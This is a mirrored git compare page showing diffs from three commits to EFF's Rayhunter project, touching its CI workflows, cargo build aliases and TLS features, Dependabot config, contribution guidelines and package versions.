mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-05-31 02:03:35 -07:00
Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d4bfaf07dd | |||
| c08ccda58b | |||
| f33b3baa4f |
@@ -8,8 +8,4 @@ ignore = [
|
|||||||
# user-input. we could get rid of this warning by disabling the image
|
# user-input. we could get rid of this warning by disabling the image
|
||||||
# dependency in adb-client.
|
# dependency in adb-client.
|
||||||
"RUSTSEC-2024-0436",
|
"RUSTSEC-2024-0436",
|
||||||
# rustls-webpki 0.102.8 CRL Distribution Point flaw (via rustls-rustcrypto).
|
|
||||||
# Only affects dev builds, production firmware uses ring-tls.
|
|
||||||
# TODO: Remove once rustls-rustcrypto releases a version newer than 0.0.2-alpha.
|
|
||||||
"RUSTSEC-2026-0049",
|
|
||||||
]
|
]
|
||||||
|
|||||||
+3
-5
@@ -1,9 +1,7 @@
|
|||||||
[alias]
|
[alias]
|
||||||
# Build the daemon with "firmware" profile and post-quantum TLS backend.
|
# Build the daemon with "firmware" profile and "ring" TLS backend.
|
||||||
# Needs an arm-linux-musleabihf cross-compiler in PATH, e.g. a toolchain
|
# Requires a cross-compiler (see github actions workflows) and is very slow to build.
|
||||||
# from https://musl.cc, or run inside messense/rust-musl-cross:armv7-musleabihf
|
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features ring-tls"
|
||||||
# (which is what CI does, see .github/workflows/main.yml).
|
|
||||||
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features pq-tls"
|
|
||||||
# Build the daemon with "firmware-devel" profile and "rustcrypto" backend.
|
# Build the daemon with "firmware-devel" profile and "rustcrypto" backend.
|
||||||
# Works with just the Rust toolchain, and is medium-slow to build. Binaries are slightly larger.
|
# Works with just the Rust toolchain, and is medium-slow to build. Binaries are slightly larger.
|
||||||
build-daemon-firmware-devel = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware-devel"
|
build-daemon-firmware-devel = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware-devel"
|
||||||
|
|||||||
@@ -1,53 +0,0 @@
|
|||||||
# open-pull-requests-limit is used to disable automated version updates
|
|
||||||
# security updates are unaffected. see
|
|
||||||
# * https://docs.github.com/en/code-security/how-tos/secure-your-supply-chain/secure-your-dependencies/configuring-dependabot-version-updates#disabling-dependabot-version-updates
|
|
||||||
# * https://docs.github.com/en/code-security/reference/supply-chain-security/dependabot-options-reference#open-pull-requests-limit-
|
|
||||||
version: 2
|
|
||||||
updates:
|
|
||||||
# Rust dependencies
|
|
||||||
- package-ecosystem: "cargo"
|
|
||||||
directory: "/"
|
|
||||||
schedule:
|
|
||||||
interval: "weekly"
|
|
||||||
open-pull-requests-limit: 0
|
|
||||||
groups:
|
|
||||||
security:
|
|
||||||
applies-to: "security-updates"
|
|
||||||
patterns:
|
|
||||||
- "*"
|
|
||||||
|
|
||||||
# Python dependencies
|
|
||||||
- package-ecosystem: "pip"
|
|
||||||
directory: "/tools"
|
|
||||||
schedule:
|
|
||||||
interval: "weekly"
|
|
||||||
open-pull-requests-limit: 0
|
|
||||||
groups:
|
|
||||||
security:
|
|
||||||
applies-to: "security-updates"
|
|
||||||
patterns:
|
|
||||||
- "*"
|
|
||||||
|
|
||||||
# daemon/web Node.js dependencies
|
|
||||||
- package-ecosystem: "npm"
|
|
||||||
directory: "/daemon/web"
|
|
||||||
schedule:
|
|
||||||
interval: "weekly"
|
|
||||||
open-pull-requests-limit: 0
|
|
||||||
groups:
|
|
||||||
security:
|
|
||||||
applies-to: "security-updates"
|
|
||||||
patterns:
|
|
||||||
- "*"
|
|
||||||
|
|
||||||
# installer-gui Node.js dependencies
|
|
||||||
- package-ecosystem: "npm"
|
|
||||||
directory: "/installer-gui"
|
|
||||||
schedule:
|
|
||||||
interval: "weekly"
|
|
||||||
open-pull-requests-limit: 0
|
|
||||||
groups:
|
|
||||||
security:
|
|
||||||
applies-to: "security-updates"
|
|
||||||
patterns:
|
|
||||||
- "*"
|
|
||||||
@@ -6,8 +6,3 @@
|
|||||||
- [ ] Code has been linted and run through `cargo fmt`.
|
- [ ] Code has been linted and run through `cargo fmt`.
|
||||||
- [ ] If any new functionality has been added, unit tests were also added.
|
- [ ] If any new functionality has been added, unit tests were also added.
|
||||||
- [ ] [CONTRIBUTING.md](https://github.com/EFForg/rayhunter/blob/main/CONTRIBUTING.md) has been read.
|
- [ ] [CONTRIBUTING.md](https://github.com/EFForg/rayhunter/blob/main/CONTRIBUTING.md) has been read.
|
||||||
- [ ] Your pull request is fewer than ~400 lines of code.
|
|
||||||
|
|
||||||
You must check one of:
|
|
||||||
- [ ] No generative AI (including LLMs) tools were used to create this PR.
|
|
||||||
- [ ] Generative AI was used to create this PR. I certify that I have read and understand the code, and *that all comments and descriptions were authored by myself* and are not the product of generative AI.
|
|
||||||
|
|||||||
+38
-134
@@ -11,9 +11,6 @@ env:
|
|||||||
CARGO_TERM_COLOR: always
|
CARGO_TERM_COLOR: always
|
||||||
FILE_ROOTSHELL: ../../rootshell/rootshell
|
FILE_ROOTSHELL: ../../rootshell/rootshell
|
||||||
FILE_RAYHUNTER_DAEMON: ../../rayhunter-daemon/rayhunter-daemon
|
FILE_RAYHUNTER_DAEMON: ../../rayhunter-daemon/rayhunter-daemon
|
||||||
FILE_WPA_SUPPLICANT: ../../wpa-supplicant/wpa_supplicant
|
|
||||||
FILE_WPA_CLI: ../../wpa-supplicant/wpa_cli
|
|
||||||
FILE_IW: ../../wpa-supplicant/iw
|
|
||||||
RUSTFLAGS: "-Dwarnings"
|
RUSTFLAGS: "-Dwarnings"
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
@@ -27,8 +24,7 @@ jobs:
|
|||||||
daemon_changed: ${{ steps.files_changed.outputs.daemon_count != '0' }}
|
daemon_changed: ${{ steps.files_changed.outputs.daemon_count != '0' }}
|
||||||
daemon_needed: ${{ steps.files_changed.outputs.daemon_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
|
daemon_needed: ${{ steps.files_changed.outputs.daemon_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
|
||||||
web_changed: ${{ steps.files_changed.outputs.web_count != '0' }}
|
web_changed: ${{ steps.files_changed.outputs.web_count != '0' }}
|
||||||
docs_changed: ${{ steps.files_changed.outputs.docs_count != '0' || steps.files_changed.outputs.daemon_count != '0' }}
|
docs_changed: ${{ steps.files_changed.outputs.docs_count != '0' }}
|
||||||
installer_build: ${{ steps.files_changed.outputs.installer_build != '0' }}
|
|
||||||
installer_changed: ${{ steps.files_changed.outputs.installer_count != '0' }}
|
installer_changed: ${{ steps.files_changed.outputs.installer_count != '0' }}
|
||||||
installer_gui_changed: ${{ steps.files_changed.outputs.installer_gui_count != '0' }}
|
installer_gui_changed: ${{ steps.files_changed.outputs.installer_gui_count != '0' }}
|
||||||
rootshell_needed: ${{ steps.files_changed.outputs.rootshell_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
|
rootshell_needed: ${{ steps.files_changed.outputs.rootshell_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
|
||||||
@@ -42,13 +38,11 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
lcommit=${{ github.event.pull_request.base.sha || 'origin/main' }}
|
lcommit=${{ github.event.pull_request.base.sha || 'origin/main' }}
|
||||||
|
|
||||||
# We rebuild everything if any of these conditions hold:
|
# If we are on main, if workflow/cargo config files changed, or if
|
||||||
# * We are on main
|
# the latest commit message contains "#build-all", run everything.
|
||||||
# * Changes are made to github workflows
|
# Use #build-all in a commit message to force a full build on a PR
|
||||||
# * A cargo-workspace file changed (lockfile or .cargo), as that could affect any crate anywhere
|
# branch (useful for testing release builds without merging to main).
|
||||||
# * Something from the script or dist folder changed (could be gated to installer, but some scripts like build_wpa_supplicant are part of the build process)
|
if [ ${GITHUB_REF} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/ -e ^.cargo || git log -1 --format='%s %b' | grep -qF '#build-all'
|
||||||
# * #build-all was used by the user to explicitly ask for this
|
|
||||||
if [ ${GITHUB_REF} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/ -e ^.cargo -e '^Cargo\.lock$' -e '^Cargo\.toml$' -e ^dist/ -e ^scripts/ || git log -1 --format='%s %b' | grep -qF '#build-all'
|
|
||||||
then
|
then
|
||||||
echo "building everything"
|
echo "building everything"
|
||||||
echo code_count=forced >> "$GITHUB_OUTPUT"
|
echo code_count=forced >> "$GITHUB_OUTPUT"
|
||||||
@@ -90,25 +84,25 @@ jobs:
|
|||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
with:
|
with:
|
||||||
persist-credentials: false
|
persist-credentials: false
|
||||||
- uses: Swatinem/rust-cache@v2
|
|
||||||
- name: Install mdBook
|
- name: Install mdBook
|
||||||
run: |
|
run: |
|
||||||
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
||||||
- name: Test mdBook
|
- name: Test mdBook
|
||||||
run: mdbook test
|
run: mdbook test
|
||||||
|
|
||||||
mdbook_build:
|
mdbook_publish:
|
||||||
name: Build mdBook for Github Pages
|
name: Publish mdBook to Github Pages
|
||||||
needs: mdbook_test
|
needs: mdbook_test
|
||||||
if: ${{ github.ref == 'refs/heads/main' }}
|
if: ${{ github.ref == 'refs/heads/main' }}
|
||||||
permissions:
|
permissions:
|
||||||
|
pages: write
|
||||||
contents: write
|
contents: write
|
||||||
|
id-token: write
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
with:
|
with:
|
||||||
persist-credentials: false
|
persist-credentials: false
|
||||||
- uses: Swatinem/rust-cache@v2
|
|
||||||
- name: Install mdBook
|
- name: Install mdBook
|
||||||
run: |
|
run: |
|
||||||
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
||||||
@@ -116,11 +110,14 @@ jobs:
|
|||||||
- name: Build mdBook
|
- name: Build mdBook
|
||||||
run: mdbook build
|
run: mdbook build
|
||||||
|
|
||||||
|
- name: Setup Pages
|
||||||
|
uses: actions/configure-pages@v4
|
||||||
- name: Upload artifact
|
- name: Upload artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-pages-artifact@v3
|
||||||
with:
|
with:
|
||||||
name: book
|
|
||||||
path: book
|
path: book
|
||||||
|
- name: Deploy to Github Pages
|
||||||
|
uses: actions/deploy-pages@v4
|
||||||
|
|
||||||
check_and_test:
|
check_and_test:
|
||||||
needs: files_changed
|
needs: files_changed
|
||||||
@@ -144,13 +141,13 @@ jobs:
|
|||||||
npm install
|
npm install
|
||||||
npm run build
|
npm run build
|
||||||
popd
|
popd
|
||||||
cargo check --verbose
|
NO_FIRMWARE_BIN=true cargo check --verbose
|
||||||
- name: Run tests
|
- name: Run tests
|
||||||
run: |
|
run: |
|
||||||
cargo test --verbose
|
NO_FIRMWARE_BIN=true cargo test --verbose
|
||||||
- name: Run clippy
|
- name: Run clippy
|
||||||
run: |
|
run: |
|
||||||
cargo clippy --verbose
|
NO_FIRMWARE_BIN=true cargo clippy --verbose
|
||||||
|
|
||||||
installer_gui_check:
|
installer_gui_check:
|
||||||
# we test the GUI installer separately to:
|
# we test the GUI installer separately to:
|
||||||
@@ -172,16 +169,13 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
components: clippy
|
components: clippy
|
||||||
- uses: Swatinem/rust-cache@v2
|
- uses: Swatinem/rust-cache@v2
|
||||||
with:
|
|
||||||
# Workaround for https://github.com/Swatinem/rust-cache/issues/341
|
|
||||||
cache-bin: 'false'
|
|
||||||
# we don't need to run cargo fmt here because both cargo fmt and cargo
|
# we don't need to run cargo fmt here because both cargo fmt and cargo
|
||||||
# fmt --all runs on all workspace packages so this is handled by
|
# fmt --all runs on all workspace packages so this is handled by
|
||||||
# check_and_test above
|
# check_and_test above
|
||||||
- name: Check
|
- name: Check
|
||||||
run: cargo check --package installer-gui --verbose
|
run: NO_FIRMWARE_BIN=true cargo check --package installer-gui --verbose
|
||||||
- name: Run clippy
|
- name: Run clippy
|
||||||
run: cargo clippy --package installer-gui --verbose
|
run: NO_FIRMWARE_BIN=true cargo clippy --package installer-gui --verbose
|
||||||
|
|
||||||
test_daemon_frontend:
|
test_daemon_frontend:
|
||||||
needs: files_changed
|
needs: files_changed
|
||||||
@@ -233,12 +227,12 @@ jobs:
|
|||||||
shell: bash
|
shell: bash
|
||||||
run: |
|
run: |
|
||||||
cd installer
|
cd installer
|
||||||
cargo check --verbose
|
NO_FIRMWARE_BIN=true cargo check --verbose
|
||||||
- name: cargo test
|
- name: cargo test
|
||||||
shell: bash
|
shell: bash
|
||||||
run: |
|
run: |
|
||||||
cd installer
|
cd installer
|
||||||
cargo test --verbose --no-default-features
|
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features
|
||||||
|
|
||||||
build_rayhunter_check:
|
build_rayhunter_check:
|
||||||
if: needs.files_changed.outputs.daemon_changed == 'true'
|
if: needs.files_changed.outputs.daemon_changed == 'true'
|
||||||
@@ -278,9 +272,6 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
targets: ${{ matrix.platform.target }}
|
targets: ${{ matrix.platform.target }}
|
||||||
- uses: Swatinem/rust-cache@v2
|
- uses: Swatinem/rust-cache@v2
|
||||||
with:
|
|
||||||
# Workaround for https://github.com/Swatinem/rust-cache/issues/341
|
|
||||||
cache-bin: 'false'
|
|
||||||
- name: Build rayhunter-check
|
- name: Build rayhunter-check
|
||||||
run: cargo build --bin rayhunter-check --release --target ${{ matrix.platform.target }}
|
run: cargo build --bin rayhunter-check --release --target ${{ matrix.platform.target }}
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v4
|
||||||
@@ -313,30 +304,6 @@ jobs:
|
|||||||
path: target/armv7-unknown-linux-musleabihf/firmware/rootshell
|
path: target/armv7-unknown-linux-musleabihf/firmware/rootshell
|
||||||
if-no-files-found: error
|
if-no-files-found: error
|
||||||
|
|
||||||
build_wpa_supplicant:
|
|
||||||
if: needs.files_changed.outputs.installer_build == 'true'
|
|
||||||
needs:
|
|
||||||
- files_changed
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
permissions:
|
|
||||||
contents: read
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
with:
|
|
||||||
persist-credentials: false
|
|
||||||
- name: Install cross-compiler
|
|
||||||
run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
|
|
||||||
- name: Build wpa_supplicant (armv7)
|
|
||||||
run: CC=arm-linux-gnueabihf-gcc STRIP=arm-linux-gnueabihf-strip HOST=arm-linux-gnueabihf scripts/build-wpa-supplicant.sh
|
|
||||||
- uses: actions/upload-artifact@v4
|
|
||||||
with:
|
|
||||||
name: wpa-supplicant
|
|
||||||
path: |
|
|
||||||
tools/build-wpa-supplicant/out/wpa_supplicant
|
|
||||||
tools/build-wpa-supplicant/out/wpa_cli
|
|
||||||
tools/build-wpa-supplicant/out/iw
|
|
||||||
if-no-files-found: error
|
|
||||||
|
|
||||||
build_rayhunter:
|
build_rayhunter:
|
||||||
if: needs.files_changed.outputs.daemon_needed == 'true'
|
if: needs.files_changed.outputs.daemon_needed == 'true'
|
||||||
needs:
|
needs:
|
||||||
@@ -350,25 +317,27 @@ jobs:
|
|||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
with:
|
with:
|
||||||
persist-credentials: false
|
persist-credentials: false
|
||||||
- name: Build frontend
|
- uses: dtolnay/rust-toolchain@stable
|
||||||
|
with:
|
||||||
|
targets: armv7-unknown-linux-musleabihf
|
||||||
|
- uses: Swatinem/rust-cache@v2
|
||||||
|
- name: Install ARM cross-compilation toolchain
|
||||||
|
run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
|
||||||
|
- name: Build rayhunter-daemon (armv7)
|
||||||
run: |
|
run: |
|
||||||
pushd daemon/web
|
pushd daemon/web
|
||||||
npm install
|
npm install
|
||||||
npm run build
|
npm run build
|
||||||
popd
|
popd
|
||||||
- name: Build rayhunter-daemon (armv7)
|
# Run with -p so that cargo will select the minimum feature set for this package.
|
||||||
# Cross-compile inside messense/rust-musl-cross, which bundles an
|
#
|
||||||
# arm-linux-musleabihf cross gcc that aws-lc-sys needs.
|
# Otherwise, it will consider the union of all requested features
|
||||||
run: |
|
# from all packages in the workspace. For example, if installer
|
||||||
mkdir -p "$HOME/.cargo-musl-cross"
|
# requires tokio with "full" feature, it will be included no matter
|
||||||
docker run --rm \
|
# what the feature selection in rayhunter-daemon is.
|
||||||
--user "$(id -u):$(id -g)" \
|
#
|
||||||
-v "$PWD":/work \
|
# https://github.com/rust-lang/cargo/issues/4463
|
||||||
-v "$HOME/.cargo-musl-cross":/cargo-home \
|
CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
|
||||||
-e CARGO_HOME=/cargo-home \
|
|
||||||
-w /work \
|
|
||||||
messense/rust-musl-cross:armv7-musleabihf \
|
|
||||||
cargo build-daemon-firmware
|
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: rayhunter-daemon
|
name: rayhunter-daemon
|
||||||
@@ -383,7 +352,6 @@ jobs:
|
|||||||
needs:
|
needs:
|
||||||
- build_rayhunter
|
- build_rayhunter
|
||||||
- build_rootshell
|
- build_rootshell
|
||||||
- build_wpa_supplicant
|
|
||||||
- files_changed
|
- files_changed
|
||||||
- windows_installer_check_and_test
|
- windows_installer_check_and_test
|
||||||
strategy:
|
strategy:
|
||||||
@@ -417,9 +385,6 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
targets: ${{ matrix.platform.target }}
|
targets: ${{ matrix.platform.target }}
|
||||||
- uses: Swatinem/rust-cache@v2
|
- uses: Swatinem/rust-cache@v2
|
||||||
with:
|
|
||||||
# Workaround for https://github.com/Swatinem/rust-cache/issues/341
|
|
||||||
cache-bin: 'false'
|
|
||||||
- run: cargo build --package installer --bin installer --release --target ${{ matrix.platform.target }}
|
- run: cargo build --package installer --bin installer --release --target ${{ matrix.platform.target }}
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
@@ -435,7 +400,6 @@ jobs:
|
|||||||
needs:
|
needs:
|
||||||
- build_rayhunter
|
- build_rayhunter
|
||||||
- build_rootshell
|
- build_rootshell
|
||||||
- build_wpa_supplicant
|
|
||||||
- files_changed
|
- files_changed
|
||||||
- installer_gui_check
|
- installer_gui_check
|
||||||
- test_installer_frontend
|
- test_installer_frontend
|
||||||
@@ -492,7 +456,6 @@ jobs:
|
|||||||
needs:
|
needs:
|
||||||
- build_rayhunter
|
- build_rayhunter
|
||||||
- build_rootshell
|
- build_rootshell
|
||||||
- build_wpa_supplicant
|
|
||||||
- files_changed
|
- files_changed
|
||||||
- installer_gui_check
|
- installer_gui_check
|
||||||
- test_installer_frontend
|
- test_installer_frontend
|
||||||
@@ -513,10 +476,6 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
targets: ${{ matrix.platform.target }}
|
targets: ${{ matrix.platform.target }}
|
||||||
- uses: Swatinem/rust-cache@v2
|
- uses: Swatinem/rust-cache@v2
|
||||||
with:
|
|
||||||
# Workaround for https://github.com/Swatinem/rust-cache/issues/341
|
|
||||||
# bin caching breaks cargo resolution on macOS 15 runner images
|
|
||||||
cache-bin: 'false'
|
|
||||||
- name: Build GUI installer
|
- name: Build GUI installer
|
||||||
shell: bash
|
shell: bash
|
||||||
run: |
|
run: |
|
||||||
@@ -540,7 +499,6 @@ jobs:
|
|||||||
needs:
|
needs:
|
||||||
- build_rayhunter
|
- build_rayhunter
|
||||||
- build_rootshell
|
- build_rootshell
|
||||||
- build_wpa_supplicant
|
|
||||||
- files_changed
|
- files_changed
|
||||||
- installer_gui_check
|
- installer_gui_check
|
||||||
- test_installer_frontend
|
- test_installer_frontend
|
||||||
@@ -625,57 +583,3 @@ jobs:
|
|||||||
rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}.zip
|
rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}.zip
|
||||||
rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}.zip.sha256
|
rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}.zip.sha256
|
||||||
if-no-files-found: error
|
if-no-files-found: error
|
||||||
|
|
||||||
openapi_build:
|
|
||||||
if: needs.files_changed.outputs.docs_changed == 'true'
|
|
||||||
needs:
|
|
||||||
- files_changed
|
|
||||||
permissions:
|
|
||||||
contents: write
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
with:
|
|
||||||
persist-credentials: false
|
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
|
||||||
with:
|
|
||||||
targets: armv7-unknown-linux-musleabihf
|
|
||||||
- uses: Swatinem/rust-cache@v2
|
|
||||||
- name: Build rayhunter-daemon openapi docs
|
|
||||||
run: |
|
|
||||||
mkdir -p daemon/web/build
|
|
||||||
touch daemon/web/build/{favicon.png,index.html.gz,rayhunter_orca_only.png,rayhunter_text.png}
|
|
||||||
cargo run --bin gen_api --features apidocs -- ./rayhunter-openapi.json
|
|
||||||
- name: Make swagger folder
|
|
||||||
run: |
|
|
||||||
mkdir api-docs
|
|
||||||
mv doc/swagger-ui.html api-docs/index.html
|
|
||||||
mv rayhunter-openapi.json api-docs/
|
|
||||||
- uses: actions/upload-artifact@v4
|
|
||||||
with:
|
|
||||||
name: api-docs
|
|
||||||
path: api-docs
|
|
||||||
|
|
||||||
github_pages_publish:
|
|
||||||
name: Upload new documentation to Github Pages
|
|
||||||
if: ${{ github.ref == 'refs/heads/main' }}
|
|
||||||
permissions:
|
|
||||||
pages: write
|
|
||||||
contents: write
|
|
||||||
id-token: write
|
|
||||||
needs:
|
|
||||||
- mdbook_build
|
|
||||||
- openapi_build
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Setup Pages
|
|
||||||
uses: actions/configure-pages@v4
|
|
||||||
- uses: actions/download-artifact@v4
|
|
||||||
- name: Organize pages into directory
|
|
||||||
run: cp -a api-docs book/
|
|
||||||
- name: Upload pages
|
|
||||||
uses: actions/upload-pages-artifact@v3
|
|
||||||
with:
|
|
||||||
path: book
|
|
||||||
- name: Deploy Github Pages
|
|
||||||
uses: actions/deploy-pages@v4
|
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
/target
|
/target
|
||||||
/book
|
/book
|
||||||
.DS_Store
|
.DS_Store
|
||||||
/tools/build-wpa-supplicant
|
|
||||||
|
|||||||
+1
-11
@@ -58,25 +58,15 @@ Otherwise:
|
|||||||
manually test them. Our test coverage isn't great, but as new features are
|
manually test them. Our test coverage isn't great, but as new features are
|
||||||
added we are trying to prevent it from becoming worse.
|
added we are trying to prevent it from becoming worse.
|
||||||
|
|
||||||
- Please keep your contributions to less than approximately 400 lines of code not counting tests, (going slightly over is fine, we aren't dogmatic about it.) This is because we are not able to give quality code review to contributions larger than that and risk introducing bugs into the system. [There was a study showing 400 LOC is the max most humans can handle.](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)
|
|
||||||
|
|
||||||
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
|
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
|
||||||
|
|
||||||
### Policy regarding AI-generated contributions:
|
|
||||||
|
|
||||||
- Please refrain from submissions that you haven't thoroughly understood, reviewed, and tested.
|
|
||||||
- Please disclose if your contribution was AI-generated
|
|
||||||
- Descriptions and comments should be made by you
|
|
||||||
|
|
||||||
You can read our [full policy](https://www.eff.org/about/opportunities/volunteer/coding-with-eff) and some writing on [our motivations](https://www.eff.org/deeplinks/2026/02/effs-policy-llm-assisted-contributions-our-open-source-projects).
|
|
||||||
|
|
||||||
## Making releases
|
## Making releases
|
||||||
|
|
||||||
This one is for maintainers of Rayhunter.
|
This one is for maintainers of Rayhunter.
|
||||||
|
|
||||||
1. Make a PR changing the versions in `Cargo.toml` and other files.
|
1. Make a PR changing the versions in `Cargo.toml` and other files.
|
||||||
This could be automated better but right now it's manual. You can do this easily with sed:
|
This could be automated better but right now it's manual. You can do this easily with sed:
|
||||||
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml installer-gui/src-tauri/Cargo.toml`
|
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml`
|
||||||
|
|
||||||
2. Merge PR and make a tag.
|
2. Merge PR and make a tag.
|
||||||
|
|
||||||
|
|||||||
Generated
+384
-628
File diff suppressed because it is too large
Load Diff
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "rayhunter-check"
|
name = "rayhunter-check"
|
||||||
version = "0.11.2"
|
version = "0.10.1"
|
||||||
edition = "2024"
|
edition = "2024"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
|||||||
+2
-2
@@ -155,10 +155,10 @@ async fn pcapify(qmdl_path: &PathBuf) {
|
|||||||
.await
|
.await
|
||||||
.expect("failed to get container")
|
.expect("failed to get container")
|
||||||
{
|
{
|
||||||
for msg in container.messages().into_iter().flatten() {
|
for msg in container.into_messages().into_iter().flatten() {
|
||||||
if let Ok(Some((timestamp, parsed))) = gsmtap_parser::parse(msg) {
|
if let Ok(Some((timestamp, parsed))) = gsmtap_parser::parse(msg) {
|
||||||
pcap_writer
|
pcap_writer
|
||||||
.write_gsmtap_message(parsed, timestamp, None)
|
.write_gsmtap_message(parsed, timestamp)
|
||||||
.await
|
.await
|
||||||
.expect("failed to write");
|
.expect("failed to write");
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-23
@@ -1,30 +1,18 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "rayhunter-daemon"
|
name = "rayhunter-daemon"
|
||||||
version = "0.11.2"
|
version = "0.10.1"
|
||||||
edition = "2024"
|
edition = "2024"
|
||||||
rust-version = "1.88.0"
|
rust-version = "1.88.0"
|
||||||
|
|
||||||
[lib]
|
|
||||||
name = "rayhunter_daemon"
|
|
||||||
path = "src/lib.rs"
|
|
||||||
|
|
||||||
[[bin]]
|
|
||||||
name = "gen_api"
|
|
||||||
path = "src/bin/gen_api.rs"
|
|
||||||
required-features = ["apidocs"]
|
|
||||||
|
|
||||||
[features]
|
[features]
|
||||||
default = ["rustcrypto-tls"]
|
default = ["rustcrypto-tls"]
|
||||||
rustcrypto-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-rustcrypto"]
|
rustcrypto-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-rustcrypto"]
|
||||||
pq-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-post-quantum"]
|
ring-tls = ["reqwest/rustls-tls-webpki-roots"]
|
||||||
apidocs = ["dep:utoipa", "wifi-station/utoipa"]
|
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
rayhunter = { path = "../lib" }
|
rayhunter = { path = "../lib" }
|
||||||
wifi-station = "0.10.1"
|
|
||||||
toml = "0.8.8"
|
toml = "0.8.8"
|
||||||
serde = { version = "1.0.193", features = ["derive"] }
|
serde = { version = "1.0.193", features = ["derive"] }
|
||||||
serde_repr = "0.1"
|
|
||||||
tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt"] }
|
tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt"] }
|
||||||
axum = { version = "0.8", default-features = false, features = ["http1", "tokio", "json"] }
|
axum = { version = "0.8", default-features = false, features = ["http1", "tokio", "json"] }
|
||||||
thiserror = "1.0.52"
|
thiserror = "1.0.52"
|
||||||
@@ -38,16 +26,9 @@ tokio-stream = { version = "0.1.14", default-features = false, features = ["io-u
|
|||||||
futures = { version = "0.3.30", default-features = false }
|
futures = { version = "0.3.30", default-features = false }
|
||||||
serde_json = "1.0.114"
|
serde_json = "1.0.114"
|
||||||
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
|
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
|
||||||
tempfile = "3.10.2"
|
tempfile = "3.10.1"
|
||||||
async_zip = { version = "0.0.17", features = ["tokio"] }
|
async_zip = { version = "0.0.17", features = ["tokio"] }
|
||||||
anyhow = "1.0.98"
|
anyhow = "1.0.98"
|
||||||
reqwest = { version = "0.12.20", default-features = false, features = ["stream"] }
|
reqwest = { version = "0.12.20", default-features = false }
|
||||||
rustls-rustcrypto = { version = "0.0.2-alpha", optional = true }
|
rustls-rustcrypto = { version = "0.0.2-alpha", optional = true }
|
||||||
rustls-post-quantum = { version = "0.2.4", optional = true }
|
|
||||||
async-trait = "0.1.88"
|
async-trait = "0.1.88"
|
||||||
utoipa = { version = "5.4.0", optional = true }
|
|
||||||
url = "2.5.4"
|
|
||||||
|
|
||||||
[dev-dependencies]
|
|
||||||
reqwest = { version = "0.12.20", default-features = false, features = ["gzip"] }
|
|
||||||
tempfile = "3.10.2"
|
|
||||||
|
|||||||
+3
-33
